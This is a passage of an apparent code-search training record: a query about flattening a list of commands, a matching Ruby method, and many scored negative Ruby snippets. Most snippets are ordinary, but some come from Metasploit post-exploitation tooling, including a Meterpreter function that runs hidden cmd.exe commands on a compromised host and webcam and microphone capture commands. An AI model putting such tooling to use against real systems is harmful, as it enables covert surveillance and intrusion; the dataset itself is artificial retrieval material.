(NESSUS)\",\n\t\t\t\t\"db_import_nmap_xml\" => \"Import a Nmap scan results file (-oX)\",\n\t\t\t\t\"db_import_qualys_xml\" => \"Import a Qualys scan results file (XML)\",\n\t\t\t\t\"db_import_msfe_xml\" => \"Import a Metasploit Express report (XML)\",\n\t\t\t\t\"db_nmap\" => \"Executes nmap and records the output automatically\",\n\t\t\t}\n\n\t\t\tbase.merge(more)\n\t\tend",
"def commands\n\t\t\t\t{\n\t\t\t\t\t'notify_help'\t\t\t\t\t\t\t\t=> \"Displays help\",\n\t\t\t\t\t'notify_start'\t\t\t\t\t\t\t=> \"Start Notify Plugin after saving settings.\",\n\t\t\t\t\t'notify_stop'\t\t\t\t\t\t\t\t=> \"Stop monitoring for new sessions.\",\n\t\t\t\t\t'notify_test'\t\t\t\t\t\t\t\t=> \"Send test message to make sure confoguration is working.\",\n\t\t\t\t\t'notify_save'\t\t\t\t\t\t\t\t=> \"Save Settings to YAML File #{Notify_yaml}.\",\n\t\t\t\t\t'notify_set_webhook'\t\t\t\t=> \"Sets Slack Webhook URL.\",\n\t\t\t\t\t'notify_set_user'\t\t\t\t\t\t=> \"Set Slack username for messages.\",\n\t\t\t\t\t'notify_show_parms'\t\t\t \t=> \"Shows currently set parameters.\"\n\n\t\t\t\t}\n\t\t\tend"
] | [
"0.7855798",
"0.77812415",
"0.76808256",
"0.76807827",
"0.7663106",
"0.7656751",
"0.75898874",
"0.7530471",
"0.75160503",
"0.7499065",
"0.7473173",
"0.74081194",
"0.74054396",
"0.7366237",
"0.7355058",
"0.731455",
"0.7310965",
"0.73096603",
"0.72974914",
"0.7296988",
"0.7239026",
"0.72319853",
"0.72151273",
"0.71886104",
"0.71784717",
"0.7178015",
"0.70798343",
"0.707498",
"0.70616484",
"0.70443445",
"0.7042363",
"0.70250136",
"0.70149237",
"0.7000452",
"0.69692755",
"0.69649327",
"0.6913286",
"0.6913286",
"0.68852687",
"0.6871148",
"0.68633145",
"0.6857229",
"0.68534297",
"0.6843018",
"0.6837492",
"0.6826812",
"0.6815249",
"0.6790568",
"0.6753088",
"0.67470646",
"0.67163295",
"0.6715934",
"0.6715886",
"0.66995704",
"0.66879773",
"0.6678016",
"0.6676399",
"0.66684425",
"0.66649085",
"0.66649085",
"0.6648227",
"0.6647453",
"0.66455084",
"0.66428673",
"0.66428673",
"0.66428673",
"0.66428673",
"0.66428673",
"0.66428673",
"0.6633707",
"0.66210204",
"0.6611852",
"0.66093594",
"0.66040665",
"0.66040665",
"0.65991366",
"0.65945625",
"0.65621287",
"0.65217423",
"0.6507014",
"0.6499487",
"0.6490786",
"0.64850086",
"0.6479833",
"0.64723235",
"0.64679813",
"0.6441787",
"0.6419238",
"0.64133316",
"0.64133173",
"0.6413028",
"0.63703793",
"0.6363182",
"0.6362843",
"0.6362454",
"0.63417",
"0.633282",
"0.631976",
"0.63196695",
"0.6313762"
] | 0.7909898 | 0 |
Take a list of commands and execute them. Returns an array of objects. In the case of standard commands will just create a new command. With a derived command it will execute the method. A derived command may itself contain a list of commands so the whole thing is flattened to produce a single array. | def commands
@commands ||= [].tap do |c|
commands_list.each do |command|
if command.instance_of? String
c << standard_commands[command].new
else
ret_command = send(command)
c << (ret_command.instance_of?(Hash) ? ret_command.values : ret_command)
end
end
end.flatten
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def invoke_all #:nodoc:\n self.class.all_commands.map { |_, command| invoke_command(command) }\n end",
"def commands\n return [] unless options[\"commands\"]\n options[\"commands\"].map do |options|\n options['parents'] = parents + [name]\n Command.new options\n end\n end",
"def cmds(*commands, **opts)\n commands.flatten.map { |command| [command, cmd(command, **opts)] }\n end",
"def execute(command = self)\n command.to_a\n end",
"def call\n commands = self.commands.any? ? self.commands : self.class.commands\n commands.each do |command_klass|\n command = command_klass.new(kwargs)\n command.run\n _called << command\n end\n end",
"def execCommands(*commands)\n logging(:debug){\n (\"enter: execCommands(\" +\n commands.map{|com| com.class.name}.inspect +\n \")\") ; } ;\n logging(:debug, \"execCommands: commands:\"){ commands.pretty_inspect } ;\n # get message body\n comBuffer = \"\" ;\n commands.each{|com|\n comBuffer << com.genMessage() ;\n }\n # send message exactly\n sendExact(comBuffer) ;\n # receive response exactly\n resBuffer = recvExact() ;\n # scan and set result code\n resList = []\n commands.each{|com|\n res = com.scanResponse(resBuffer) ;\n resList.push(res) ;\n }\n logging(:debug, \"execCommands: responses:\"){\n commands.map{|com| [com.class.name, \n com._resultCode, \n com._response]}.pretty_inspect }\n logging(:debug){\n (\"exit: execCommands(\" +\n commands.map{|com| com.class.name}.inspect +\n \")\") ; } ;\n return resList ;\n end",
"def execute\n\t\tdoCommandList.each do |commandItem|\n\t\t\tcommandItem.execute\n\t\tend\n\tend",
"def commands\n unless defined? @commands\n @commands = []\n end\n return @commands\n end",
"def commands(*names, mapper: nil, use: nil, plugins_options: EMPTY_HASH, **opts)\n if names.any? || opts.any?\n @commands = names + opts.to_a\n\n @commands.each do |spec|\n type, *view = Array(spec).flatten\n\n if view.empty?\n define_command_method(type, mapper: mapper, use: use,\n plugins_options: plugins_options)\n else\n define_restricted_command_method(type, view, mapper: mapper, use: use,\n plugins_options: plugins_options)\n end\n end\n else\n @commands ||= []\n end\n end",
"def commands\n @commands ||= []\n end",
"def shell(commands)\n commands.split(\"\\n\").each { |i| run(i) }\n end",
"def call(*command)\n @commands << command\n end",
"def exec(*commands)\r\n ret = ''\r\n commands.each { |cmd| ret += shell.exec(cmd) }\r\n ret + shell.exec('exec')\r\n end",
"def commands\n @commands ||=\n if superclass.respond_to? :commands\n superclass.commands.clone\n else\n {}\n end\n end",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def execute_all(cmds)\n cmds.map { |cmd| execute(cmd) }\n .select { |result| result.is_a? String and !result.empty? }\n end",
"def exec_commands(cmds)\n exec_tape(cmds)\n exec_out(cmds)\n exec_head(cmds)\n exec_trans(cmds)\n end",
"def commands\n cmds = []\n command_groups = self.template.command_groups\n command_groups.each do |c|\n commands = c.command_group_commands\n commands.each do |cmd|\n cmds << OpenStruct.new( :cmd_id => cmd.id, :name => cmd.Description, :params => cmd.parameters )\n end\n end\n cmds\n end",
"def commands\n self.class.command_classes\n end",
"def commands\n load_commands unless @commands\n @commands\n end",
"def execute(*commands, abort_on_failure: self.class.abort_on_failure?)\n commands.each do |command_class|\n args = command.to_hash\n options = { skip_cleanup: :command, skip_validations: :receives }\n @command = command_class.call(**args, **options)\n executed.push(command)\n\n if command.failure? && abort_on_failure\n fail!\n abort!\n end\n end\n end",
"def commands_list\n out = \"\"\n # If there are no commands set\n if COMMANDS.empty?\n out << \" ooops! commands are not here!\"\n else\n # Get the longest command's name, so we can output it nice 'n' clean\n # This '+ int' at the end is a distance (in spaces) from the longest\n # command to descriptions\n longest = COMMANDS.max_by(&:size).size + 8\n COMMANDS.each do |cmd|\n # Calc, calc.\n spaces = longest - cmd.size\n # Check if there is a 'desc' method\n desc = if eval \"Command::#{cmd}.new.respond_to? 'desc'\"\n # If there is - execute it\n eval \"Command::#{cmd}.new.desc\"\n else\n # If there is not\n \"---\"\n end\n out << \" \" << cmd.downcase.to_s << \" \" * spaces << desc\n # If this command is the last one, don't make a new line\n unless cmd == COMMANDS.last\n out << \"\\n\"\n end\n end\n end\n out\n end",
"def commands(list)\n @commands = list.chars\n end",
"def ostack_bootstrap (commands)\n self.ostack_connect\n commands = (commands.is_a?(Array)) ? commands : [ commands ]\n output = Array.new\n\n commands.each do |command|\n output << self.run(command)\n end\n\n return output\n end",
"def process command\n @next_action = nil\n @output = []\n\n return([:self, self, [], nil]) if command.empty?\n block, arguments = definition.proc_for(command)\n\n instance_exec(*arguments, &block)\n action, context = @next_action || [ :self, self ]\n\n return([ action, context, @output, nil ])\n rescue Cuttlebone::DoubleActionError\n raise\n rescue => e\n return([ :self, self, [], %{Cuttlebone::Controller: #{e.message} (#{e.class})} ])\n end",
"def method_missing(method, *args, &block)\n commands.send(method, *args, &block)\n end",
"def exec_blocks(blocks)\n blocks.map { |block| exec_commands(block.commands) }.compact || []\n end",
"def call(*args)\n if args.first.is_a?(Array) && args.size == 1\n command = args.first\n else\n command = args\n end\n\n @commands << command\n nil\n end",
"def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"def all_commands\n [client_commands, server_commands].flatten\n end",
"def register_command(*klasses)\n klasses.each do |klass|\n register_constant(:commands, klass)\n end\n\n components.commands\n end",
"def batch(commands)\n commands.map! { |c| DEFAULT_BATCH_ARGS.merge(c) }\n commands.map { |c| query(c[:command], c[:timeout], c[:recoverable]) }\n end",
"def map_commands(commands)\n result = []\n commands.each { |c| result.push(*c.split(' ')) }\n\n result\n end",
"def find_all_commands (sCOMMAND)\n array = Array.new()\n @commands.each do |command|\n if (command.commandName == sCOMMAND)\n array.push(command)\n end\n end\n return array\n end",
"def execute_command\n # initializing output with command name\n @output = { 'name' => @command, 'stdout' => [] }\n # where command converted into method will store it's return\n command_output = []\n\n case\n when @helper_methods.include?(@command)\n # only calling method name\n command_output << public_send(@command)\n when @check_methods.include?(@command)\n # reseting all the buffers we accumulate for a given check\n reset_status_buffer\n reset_metrics_buffer\n # calling method with command name\n command_output << public_send(@command)\n # collecting output of status methods (from GoDutch::Status)\n @output.merge!(read_status_buffer)\n # collecting metrics (from GoDutch::Metrics)\n @output['metrics'] = read_metrics_buffer\n else\n fail \"[ERROR] Invalid command: '#{@command}'\"\n end\n\n # final return on method is saved on the bottom of this flat array\n @output['stdout'] << command_output.flatten\n @output['stdout'] = @output['stdout'].flatten\n end",
"def commands(params = {})\n res = @client.get(\"#{path}/commands\", params)\n\n res.json[\"commands\"].map { |atts| M2X::Client::Command.new(@client, atts) } if res.success?\n end",
"def shell_commands(cmd, *args); end",
"def command(command, paths)\n # default is list\n return list([]) if command.nil?\n # choose other command\n case command\n when 'create' then create paths\n when 'list' then list paths\n when 'finish' then finish paths\n when 'unfinish' then unfinish paths\n when 'cleanup' then cleanup paths\n when 'help' then help\n else unknown_command(command)\n end\n end",
"def commands\n args.commands.map do |cmd|\n if cmd.respond_to?(:join)\n cmd.map { |c| c.index(' ') ? \"'#{c}'\" : c }.join(' ')\n else\n cmd.to_s\n end\n end\n end",
"def load_commands\n @commands = Debugger::Command.available_commands.map do |cmd_class|\n cmd_class.new\n end\n @commands.sort!\n end",
"def call(*command); end",
"def exec__batch *args\n batch_commands *args\n end",
"def commands\n @@commands.dup\n end",
"def shell_commands(cmd, args); end",
"def command(*names)\n command_options = {\n :description => @next_desc,\n :arguments_name => @next_arg_name,\n :arguments_options => @next_arg_options,\n :arguments => @next_arguments,\n :long_desc => @next_long_desc,\n :skips_pre => @skips_pre,\n :skips_post => @skips_post,\n :skips_around => @skips_around,\n :hide_commands_without_desc => @hide_commands_without_desc,\n }\n @commands_declaration_order ||= []\n if names.first.kind_of? Hash\n command = GLI::Commands::CompoundCommand.new(self,\n names.first,\n command_options)\n command.parent = self\n commands[command.name] = command\n @commands_declaration_order << command\n else\n new_command = Command.new(command_options.merge(:names => [names].flatten))\n command = commands[new_command.name]\n if command.nil?\n command = new_command\n command.parent = self\n commands[command.name] = command\n @commands_declaration_order << command\n end\n yield command\n end\n clear_nexts\n @next_arguments = []\n command\n end",
"def commands(*args, &block)\n boot.commands(*args, &block)\n end",
"def execute_command(command_class, method, args = [])\n command_class.new.send(method, *args)\n end",
"def commands\n COMMANDS\n end",
"def commands\n abstract!\n end",
"def register_command(*klasses)\n klasses.each do |klass|\n components.add(:commands, constant: klass)\n end\n\n components.commands\n end",
"def command *args, &block\n @commands ||= []\n @args ||= []\n @commands << block\n @args << args\n end",
"def command_list\n collect_do - subcommand_list\n end",
"def deep_commands\n result = []\n commands.each do |command|\n result << command\n if command.commands.any?\n result += command.deep_commands\n end\n end\n result\n end",
"def perform_actions\n new_objects = []\n while(command = $players[@parent_id][:actions].pop)\n if command\n puts command + \" #{@parent_id}\"\n new_object = self.send(command)\n if new_object\n new_objects << new_object\n end\n end\n end\n new_objects\n end",
"def initialize(commands)\n @cmds = commands\n end",
"def move(*commands)\n commands = [commands] unless commands[0].is_a?(Array)\n commands.each do |e|\n @moveroute.concat(e)\n end\n end",
"def _retrieve_class_and_command(name, sent_command = nil) #:nodoc:\n if name.nil?\n [self.class, nil]\n elsif self.class.all_commands[name.to_s]\n [self.class, name.to_s]\n else\n klass, command = self.class.prepare_for_invocation(nil, name)\n [klass, command || sent_command]\n end\n end",
"def axis_commands(instance, *commands)\n instance.axis_commands(commands)\n end",
"def run_commands_from_file(commands)\n\t\tcommands.each do |command|\n\t\t\trun_command(command)\n\t\tend\n\n\tend",
"def commands\n\t\t{\n\t\t\t\"execute\" => \"Execute a command\",\n\t\t\t\"shell\" => \"Drop into a system command shell\",\n\t\t}\n\tend",
"def execute\n raise NotImplementedError, 'Generic command has no actions'\n end",
"def command(*cmd_parameters)\n\n @@attribute = nil\n @@method_file = nil\n @@method_line = nil\n @@command_options = {}\n \n # Include Commandable in singleton classes so class level methods work\n include Commandable unless self.include? Commandable\n \n # parse command parameters\n while (param = cmd_parameters.shift)\n case param\n when Symbol\n if param == :xor\n @@command_options.merge!(param=>:xor)\n else\n @@command_options.merge!(param=>true)\n end\n when Hash\n @@command_options.merge!(param)\n when String\n @@command_options.merge!(:description=>param)\n end\n end\n @@command_options[:priority] ||= 0\n \n # only one default allowed\n raise ConfigurationError, \"Only one default method is allowed.\" if @@default_method and @@command_options[:default]\n \n set_trace_func proc { |event, file, line, id, binding, classname|\n\n @@attribute = id if [:attr_accessor, :attr_writer].include?(id)\n \n # Traps the line where the method is defined so we can look up \n # the method source code later if there are optional parameters\n if event == \"line\" and !@@method_file\n @@method_file = file\n @@method_line = line\n end\n \n # Raise an error if there is no method following a command definition\n if event == \"end\"\n set_trace_func(nil)\n raise SyntaxError, \"A command was specified but no method follows\"\n end\n }\n end",
"def commands\n\t\tall = {\n\t\t\t\"webcam_list\" => \"List webcams\",\n\t\t\t\"webcam_snap\" => \"Take a snapshot from the specified webcam\",\n\t\t\t\"record_mic\" => \"Record audio from the default microphone for X seconds\"\n\t\t}\n\t\treqs = {\n\t\t\t\"webcam_list\" => [ \"webcam_list\" ],\n\t\t\t\"webcam_snap\" => [ \"webcam_start\", \"webcam_get_frame\", \"webcam_stop\" ],\n\t\t\t\"record_mic\" => [ \"webcam_record_audio\" ],\n\t\t}\n\n\t\tall.delete_if do |cmd, desc|\n\t\t\tdel = false\n\t\t\treqs[cmd].each do |req|\n\t\t\t\tnext if client.commands.include? req\n\t\t\t\tdel = true\n\t\t\t\tbreak\n\t\t\tend\n\n\t\t\tdel\n\t\tend\n\n\t\tall\n\tend",
"def shell_escaped__batch_commands method_name, *args_to_method\n method_name = :batch_commands\n shell_escaped__send method_name, args_to_method\n end",
"def valid_commands\n methods.grep(/_command$/).map {|c| c.to_s.gsub(\"_command\", \"\")}\n end",
"def valid_commands\n methods.grep(/_command$/).map {|c| c.to_s.gsub(\"_command\", \"\")}\n end",
"def set_commands\n ConsoleCommand::Properties.each do |cmd_class,data|\n next if data[:debug_only] && !$DEBUG\n next if data[:in_game]\n next if (data[:session] || 'shell') != self.name\n next if data[:mkxp_only] && !$MKXP\n @commands[data[:name]] = cmd_class.new(self) unless data[:hidden]\n end \n end",
"def execute(*messages)\n messages.each { |msg| self.send(msg) }\n end",
"def aws_bootstrap (commands)\n self.aws_connect\n commands = (commands.is_a?(Array)) ? commands : [ commands ]\n output = Array.new\n\n commands.each do |command|\n output << self.run(command)\n end\n\n return output\n end",
"def command(*values)\n if values.empty?\n @properties.fetch(:command) { [] }\n else\n @properties[:command] = []\n values.each { |val| @properties[:command] << val }\n end\n end",
"def commands\n self.class.commands\n end",
"def set_commands\n ConsoleCommand::Properties.each do |cmd_class,data|\n next if data[:debug_only] && !$DEBUG\n next if data[:outside_game]\n next if (data[:session] || 'shell') != self.name\n next if data[:mkxp_only] && !$MKXP\n @commands[data[:name]] = cmd_class.new(self) unless data[:hidden]\n end \n end",
"def command_names\n commands.map &:name\n end",
"def executes\n @executes ||= []\n end",
"def command_list\n raise \"Cannot build command list with errors present.\" if errors.any?\n\n @command_list ||= begin\n # If we're just resampling a FLAC to another FLAC, just use SoX to do\n # that, and skip the rest of the transcode process\n if format == \"FLAC\" && resampling_required?\n [\"sox \\\"#{source}\\\" -qG -b 16 \\\"#{destination}\\\" rate -v -L #{target_sample_rate} dither\"]\n else\n flac_decoder = if rescaling_required? || resampling_required?\n \"sox \\\"#{source}\\\" -qG -b 16 -t wav - rate -v -L #{target_sample_rate} dither\"\n else\n \"flac -dcs -- \\\"#{source}\\\"\"\n end\n\n transcode_steps = [flac_decoder]\n\n transcode_steps << case ENCODERS[encoding][:enc]\n when \"lame\"\n \"lame --quiet #{ENCODERS[encoding][:opts]} - \\\"#{destination}\\\"\"\n when \"flac\"\n \"flac -s #{ENCODERS[encoding][:opts]} -o \\\"#{destination}\\\" -\"\n end\n\n transcode_steps\n end\n end\n end",
"def execute_command_chain\n commands = args.commands\n commands.each_with_index do |cmd, i|\n if cmd.respond_to?(:call) then cmd.call\n elsif i == commands.length - 1\n # last command in chain\n exec(*cmd)\n else\n exit($?.exitstatus) unless system(*cmd)\n end\n end\n end",
"def execute(*args)\n executes.concat(args)\n end",
"def make_command_list\n add_command(Vocab::SKILLS, :skills, main_commands_enabled)\n add_command(Vocab::CAPACITIES, :capacities, main_commands_enabled)\n add_command(Vocab::EQUIP, :equip, main_commands_enabled)\n add_command(Vocab::LEARNING, :learning, main_commands_enabled)\n add_command(Vocab::LIBRAIRIES, :librairies, main_commands_enabled)\n add_command(Vocab::ITEM, :item, main_commands_enabled)\n add_command(Vocab::CRAFTING, :crafting, main_commands_enabled)\n add_command(Vocab::STRATEGY, :strategy, main_commands_enabled)\n add_command(Vocab::COOKING, :cooking, main_commands_enabled)\n add_command(Vocab::SYSTEM, :system, main_commands_enabled)\n end",
"def command_all(options = {}, escape = true)\n # Each tasks\n tasks = @tasks.keys.map do |name|\n # Compile the task\n command name, options, false\n end\n\n # Generate the full command\n SSH.command tasks, escape\n end",
"def commands\n @commands.keys.sort\n end",
"def run_command(command)\n return unless command\n command.each do |c|\n com = c.split(/[^a-z0-9]/i).map(&:capitalize).join\n get_command(com)\n end\n end",
"def supported_commands\n commands.keys\n end",
"def execute\n raise NotImplementedError, 'Define `execute` in Command subclass'\n end",
"def << (command)\n @list ||= []\n @list << command\n end",
"def set_commands(commands)\n if commands.is_a? Commands\n @commands = commands\n else\n raise Roomba::Exceptions::InvalidCommand\n end\n self\n end",
"def execute(command_array, with_stderr = false)\n command_array << \"2>/dev/null\" unless with_stderr\n command_array << \"2>&1\" if with_stderr\n command = command_array.join(\" \")\n\n output = []\n IO::popen command do |f|\n line = \"\"\n f.each_char do |c|\n if \"\\n\" == c || \"\\r\" == c\n output << line\n yield line if block_given?\n line = \"\"\n else\n line << c\n end\n end\n output << line\n end\n output\nend",
"def commands(aspect=:default)\n (@commands ||= begin\n @to = :default\n Hash.new { |h, k| h[k] = Array.new }\n end)[aspect]\n end",
"def execute(command)\n end",
"def command(*args, **opts, &block)\n all_args = args + opts.to_a.flatten\n\n if all_args.size > 1\n commands.fetch_or_store(all_args.hash) do\n custom_mapper = opts.delete(:mapper)\n type, name = args + opts.to_a.flatten\n\n relation = name.is_a?(Symbol) ? relations[name] : name\n\n ast = relation.to_ast\n adapter = relations[relation.name].adapter\n\n if custom_mapper\n mapper = container.mappers[relation.name][custom_mapper]\n else\n mapper = mappers[ast]\n end\n\n CommandCompiler[container, type, adapter, ast] >> mapper\n end\n else\n container.command(*args, &block)\n end\n end",
"def subcommands\n Properties[self.class] ||= {}\n return Properties[self.class][:subcmds] || []\n end",
"def split_commands(cmd_line); end",
"def command(*names)\n command = Command.new([names].flatten,@@next_desc,@@next_arg_name,@@next_long_desc,@@skips_pre,@@skips_post)\n commands[command.name] = command\n yield command\n clear_nexts\n end",
"def execute(*command)\n UI.say \"=> #{command.join(' ')}\".color(:green)\n success = system(*command)\n unless success\n UI.error(command.join(' '))\n exit 1\n end\n end",
"def load_commands\n command(:linescore) { feed_for_event(_1)&.send_line_score }\n command(:lineups) { feed_for_event(_1)&.send_lineups }\n command(:umpires) { feed_for_event(_1)&.send_umpires }\n\n register_commands_with_arguments\n end",
"def child_command_classes\n command_classes.reject do |k|\n k.name&.starts_with?('SlackRubyBot::Commands::')\n end\n end",
"def link_commands\n # We can't use Command#[] at this point so we collect the commands here\n h = {}\n @grammar.traverse(Grammar::Command) { |command|\n h[command.path] = command\n # TODO: Pick up parent-less commands\n }\n\n # Command to link\n link = []\n\n # Create implicit commands\n h.sort { |l,r| l.size <=> r.size }.each { |path, command|\n path = path[0..-2]\n while !h.key?(path)\n cmd = Grammar::Command.new(nil, command.token)\n cmd.set_name(path.last.to_s.sub(/!/, \"\"), path.dup)\n link << cmd\n h[cmd.path] = cmd\n path.pop\n end\n }\n\n # Find commands to link\n #\n # Commands are linked in two steps because the behaviour of #traverse is\n # not defined when the data structure changes beneath it. (FIXME: Does it\n # change when we don't touch the parent/child relationship?)\n @grammar.traverse(Grammar::Command) { |command|\n if command.path.size > 1 && command.parent && command.parent.path != command.path[0..-2]\n# if command.path.size > 1 && command.parent.path != command.path[0..-2]\n link << command\n else\n command.instance_variable_set(:@command, command.parent)\n end\n }\n\n # Link commands but do not change parent/child relationship\n link.each { |command|\n path = command.path[0..-2]\n path.pop while (supercommand = h[path]).nil?\n command.parent.commands.delete(command) if command.parent\n supercommand.commands << command\n command.instance_variable_set(:@command, supercommand)\n }\n end",
"def execution_queue(argv)\n arguments = argv.dup\n method_hash = {}\n last_method = nil\n \n if arguments.empty?\n arguments << @@default_method.keys[0] if @@default_method and !@@default_method.values[0][:parameters].flatten.include?(:req)\n end\n arguments << \"help\" if arguments.empty?\n \n # Parse the command line into methods and their parameters\n \n arguments.each do |arg|\n if Commandable[arg]\n last_method = arg.to_sym\n method_hash.merge!(last_method=>[])\n else\n unless last_method\n default = find_by_subkey(:default)\n\n # Raise an error if there is no default method and the first item isn't a method\n raise UnknownCommandError, arguments.first if default.empty?\n \n # Raise an error if there is a default method but it doesn't take any parameters\n raise UnknownCommandError, (arguments.first) if default.values[0][:argument_list] == \"\"\n \n last_method = default.keys.first\n method_hash.merge!(last_method=>[])\n end\n method_hash[last_method] << arg\n end\n # Test for missing required switches\n @@commands.select do |key, value|\n if value[:required] and method_hash[key].nil?\n # If the required switch is also a default have the error be a missing parameter instead of a missing command\n if value[:default]\n method_hash.merge!(key=>[])\n else\n raise MissingRequiredCommandError, key \n end\n end\n end\n end\n #puts \"method_hash: #{method_hash}\" if method_hash.to_s.include?(\"required_default\")\n \n # Build an array of procs to be called for each method and its given parameters\n proc_array = []\n method_hash.each do |meth, params|\n command = @@commands[meth]\n\n if command[:parameters] && !command[:parameters].empty?\n \n #Change the method name for attr_writers\n meth = \"#{meth}=\" if command[:parameters][0][0] == :writer\n \n # Get a list of required parameters and make sure all of them were provided\n required = command[:parameters].select{|param| [:req, :writer].include?(param[0])}\n required.shift(params.count)\n raise MissingRequiredParameterError, {:method=>meth, :parameters=>required.collect!{|meth| meth[1]}.to_s[1...-1].gsub(\":\",\"\"), :default=>command[:default]} unless required.empty?\n end\n \n # Test for duplicate XORs\n proc_array.select{|x| x[:xor] and x[:xor]==command[:xor] }.each {|bad| raise ExclusiveMethodClashError, \"#{meth}, #{bad[:method]}\"}\n\n klass = Object\n command[:class].split(/::/).each { |name| klass = klass.const_get(name) }\n ## Look for class in class cache\n unless command[:class_method]\n klass = (@@class_cache[klass.name] ||= klass.new)\n end\n proc_array << {:method=>meth, :xor=>command[:xor], :parameters=>params, :priority=>command[:priority], :proc=>lambda{klass.send(meth, *params)}}\n end\n proc_array.sort{|a,b| a[:priority] <=> b[:priority]}.reverse\n \n end",
"def list_exec(session, cmdlst) #session is our meter sessions, cmdlst is our array of commands to run on target\n\tr=''\n\tsession.response_timeout=120\n\tcmdlst.each do |cmd|\n\t\tbegin\n\t\t\tprint_status(\"Executing: #{cmd}\")\n\t\t\tr = session.sys.process.execute(\"cmd.exe /c #{cmd}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\t\twhile(d = r.channel.read)\n\t\t\t\tbreak if d == \"\"\n\t\t\tend\n\t\t\tr.channel.close\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error Running Command #{cmd}: #{e.class} #{e}\")\n\t\tend\n\tend\nend",
"def command_list\n options[:commands] || SimpleFormEpicEditor::EpicEditorInput.configuration.commands\n end",
"def execute(sub_argv)\n\n $logger.info \"ListCommands, sub_argv = #{sub_argv}\"\n\n options = {}\n\n opts = OptionParser.new do |o|\n o.banner = 'Usage: openstudio list_commands'\n o.separator ''\n o.separator 'Options:'\n o.separator ''\n\n o.on('--quiet', \"If --quiet is passed, list only the names of commands without the header\") do\n options[:quiet] = true\n end\n\n end\n\n # Parse the options\n argv = parse_options(opts, sub_argv)\n return 0 if argv == nil\n\n $logger.debug(\"ListCommands command: #{argv.inspect} #{options.inspect}\")\n\n # If anything else than --quiet is passed\n unless argv == []\n $logger.error 'Extra Arguments passed to the list_commands command, please refer to the help documentation.'\n return 1\n end\n\n if options[:quiet]\n $logger.debug 'Creating a new CLI instance and calling help with list_all AND quiet enabled'\n ::CLI.new([]).help(true, true)\n else\n $logger.debug 'Creating a new CLI instance and calling help with list_all enabled'\n ::CLI.new([]).help(true)\n end\n 0\n end"
] | [
"0.71134484",
"0.7039111",
"0.70300555",
"0.70222014",
"0.6867172",
"0.68665916",
"0.67523247",
"0.67329425",
"0.6723371",
"0.67002696",
"0.66542965",
"0.6629754",
"0.6566343",
"0.65500635",
"0.64870524",
"0.6472526",
"0.6455409",
"0.6412508",
"0.641077",
"0.6380616",
"0.63775283",
"0.63524187",
"0.63064665",
"0.6275674",
"0.6258112",
"0.62334967",
"0.62265575",
"0.6208081",
"0.62009925",
"0.6184737",
"0.6177347",
"0.6177077",
"0.6176859",
"0.6160107",
"0.61374575",
"0.6125034",
"0.6113562",
"0.610542",
"0.6103877",
"0.6092019",
"0.6091305",
"0.6085301",
"0.6063976",
"0.6055981",
"0.6046414",
"0.6039651",
"0.60221255",
"0.6017628",
"0.60096383",
"0.599165",
"0.59787494",
"0.59752333",
"0.5959071",
"0.5959022",
"0.591187",
"0.590998",
"0.5908445",
"0.5905916",
"0.5902684",
"0.5889124",
"0.5876761",
"0.58645093",
"0.5857303",
"0.58494806",
"0.58493215",
"0.58493215",
"0.584007",
"0.58385986",
"0.58363724",
"0.58296674",
"0.5829214",
"0.5828799",
"0.5813777",
"0.58110887",
"0.58046997",
"0.58027124",
"0.5798093",
"0.579408",
"0.57877725",
"0.5780135",
"0.57708627",
"0.5760373",
"0.57577616",
"0.57569396",
"0.5755314",
"0.57537854",
"0.5752324",
"0.57484037",
"0.5746421",
"0.5743434",
"0.5733164",
"0.57276684",
"0.5719421",
"0.57174146",
"0.5704663",
"0.56895864",
"0.5687354",
"0.56868005",
"0.56772536",
"0.5674335"
] | 0.7644019 | 0 |
Telling devise to allow custom fields on new user registration and user registration edit | def configure_permitted_marameters
devise_parameter_sanitizer.permit(:sign_up, keys: [:name])
devise_parameter_sanitizer.permit(:account_update, keys: [:name])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :cpf, :user_type, phone_number_attributes: [:user_id, :phone_number]])\n devise_parameter_sanitizer.permit(:edit, keys: [:name, :cpf, :user_type, phone_number_attributes: [:user_id, :phone_number]])\n end",
"def custom_fields_allowed?\n true\n end",
"def configure_permitted_parameters\n #devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :first_name, :last_name) }\n if resource_class == User\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :first_name, :last_name) }\n elsif resource_class == Company\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :name, :details) }\n else\n super\n end\n end",
"def configure_permitted_parameters\n # For additional fields in app/views/devise/registrations/new.html.erb\n devise_parameter_sanitizer.permit(:sign_up, keys: [:nickname])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :birthdate, :phone] )\n end",
"def configure_permitted_parameters\n # For additional fields in app/views/devise/registrations/new.html.erb\n devise_parameter_sanitizer.permit(:sign_up, keys: [:last_name, :first_name])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :phone, :real_estate_company, :real_estate_company_id])\n end",
"def fetchable_fields\n super - [:password, :password_confirmation]\n # if (context[:current_user].guest)\n # super - [:email]\n # else\n # super\n # end\n end",
"def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name username technology_id secondary_technology])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:business_name, :phone, :website, :first_name, :last_name])\n end",
"def permit_invite_code\n devise_parameter_sanitizer.for(:sign_up) << :invite_code\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :age, :gender, :location, :institution, :designation])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:firstname,:middlename,:lastname,:contact,:birthday,:gender, :bio, :username])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << [:first_name, :last_name, :company, :country, :state, :role, :contact_number]\n end",
